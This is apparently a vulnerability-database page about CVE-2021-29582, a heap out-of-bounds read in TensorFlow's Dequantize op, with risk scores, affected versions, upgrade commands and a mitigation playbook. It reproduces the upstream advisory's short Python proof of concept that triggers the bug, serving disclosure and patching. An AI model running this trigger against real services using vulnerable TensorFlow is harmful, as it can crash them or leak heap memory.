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HIGH severity

CVE-2021-29582 — tensorflow

HIGHFix: tensorflow/tensorflow@5899741

CVE-2021-29582 is a high-severity (CVSS 7.1) Out-of-bounds Read vulnerability in tensorflow. 1 public exploit reference exists, so weaponization risk is real. A fix is available for tensorflow — see the affected versions and patch details below.

Heap OOB read in `tf.raw_ops.Dequantize`

Also known asBIT-tensorflow-2021-29582GHSA-c45w-2wxr-pp53PYSEC-2021-219PYSEC-2021-510PYSEC-2021-708
Published
Updated
Affected
12 pkgs
Patched
12 / 12
Exploits
1 known
Exploitation data as of Oct 11, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

EPSS Exploitation Probability

via FIRST.org ↗
0.2%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs9th percentile — riskier than 9% of all scored CVEsHighest risk
0.00%0.23%0.47%0.70%0.0%0.2%Apr 26Aug 26Oct 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

CVE-2021-29582 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.

Where this sits among everything scored

Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.

Real-World Exposure

12 pkgs affected
🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu🐍tensorflow-cpu+4 more

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Impact

Due to lack of validation in tf.raw_ops.Dequantize, an attacker can trigger a read from outside of bounds of heap allocated data:

import tensorflow as tf

input_tensor=tf.constant(
  [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\
  -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32)
input_tensor=tf.cast(input_tensor, dtype=tf.quint8)
min_range = tf.constant([-10], shape=[1], dtype=tf.float32)
max_range = tf.constant([24, 758, 758, 758, 758], shape=[5], dtype=tf.float32)
  
tf.raw_ops.Dequantize( 
  input=input_tensor, min_range=min_range, max_range=max_range, mode='SCALED',
  narrow_range=True, axis=0, dtype=tf.dtypes.float32)

The implementation accesses the min_range and max_range tensors in parallel but fails to check that they have the same shape:

if (num_slices == 1) {
  const float min_range = input_min_tensor.flat<float>()(0);
  const float max_range = input_max_tensor.flat<float>()(0);
  DequantizeTensor(ctx, input, min_range, max_range, &float_output);
} else {
  ...
  auto min_ranges = input_min_tensor.vec<float>();
  auto max_ranges = input_max_tensor.vec<float>();
  for (int i = 0; i < num_slices; ++i) {
    DequantizeSlice(ctx->eigen_device<Device>(), ctx,
                    input_tensor.template chip<1>(i), min_ranges(i),
                    max_ranges(i), output_tensor.template chip<1>(i));
    ...
  }
}

Patches

We have patched the issue in GitHub commit 5899741d0421391ca878da47907b1452f06aaf1b.

The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.

For more information

Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.

Attribution

This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.

Affected Packages

12 total 12 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPItensorflowall versions2.1.4pip install --upgrade 'tensorflow==2.1.4'
🐍PyPItensorflow≥ 2.2.0&&< 2.2.32.2.3pip install --upgrade 'tensorflow==2.2.3'
🐍PyPItensorflow≥ 2.3.0&&< 2.3.32.3.3pip install --upgrade 'tensorflow==2.3.3'
🐍PyPItensorflow≥ 2.4.0&&< 2.4.22.4.2pip install --upgrade 'tensorflow==2.4.2'
🐍PyPItensorflow-cpuall versions2.1.4pip install --upgrade 'tensorflow-cpu==2.1.4'
🐍PyPItensorflow-cpu≥ 2.2.0&&< 2.2.32.2.3pip install --upgrade 'tensorflow-cpu==2.2.3'

Affected Products

1 product · 4 configurations
Application
tensorflowgoogle
≥ 2.4.0 && < 2.4.2
range
Exploits & PoCs
1

Research use only. For defensive security, authorized penetration testing, and academic research only. Never execute exploit code against systems without explicit written authorization.

Detection & mitigation playbook

Open-source dependency
  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for tensorflow, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Fix

    Update tensorflow to 2.1.4 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2021-29582 is resolved across your whole dependency graph.

  3. Workarounds

    Constrain what reaches the vulnerable code: limit the size and shape of untrusted input, isolate the affected component in a sandboxed or least-privileged process, and enable the platform's memory-safety mitigations (ASLR, stack protector, hardened allocator) so an out-of-bounds access is more likely to fail closed than to be exploitable.

Frequently Asked Questions

### Impact Due to lack of validation in `tf.raw_ops.Dequantize`, an attacker can trigger a read from outside of bounds of heap allocated data: ```python import tensorflow as tf input_tensor=tf.constant( [75, 75, 75, 75, -6, -9, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\ -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\ -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10, -10,\ -10, -10, -10, -10], shape=[5, 10], dtype=tf.int32) input_tensor=tf.cast(input_tensor, dtype=tf.quint8) min_range = tf.constant([-10], shape=[1], dtype=tf.floa
O3 Security · Impact-Aware SCA

Is CVE-2021-29582 in your dependencies?

Find it across PyPI, including transitive dependencies.

CVE-2021-29582: tensorflow — Fixed in 2.1.4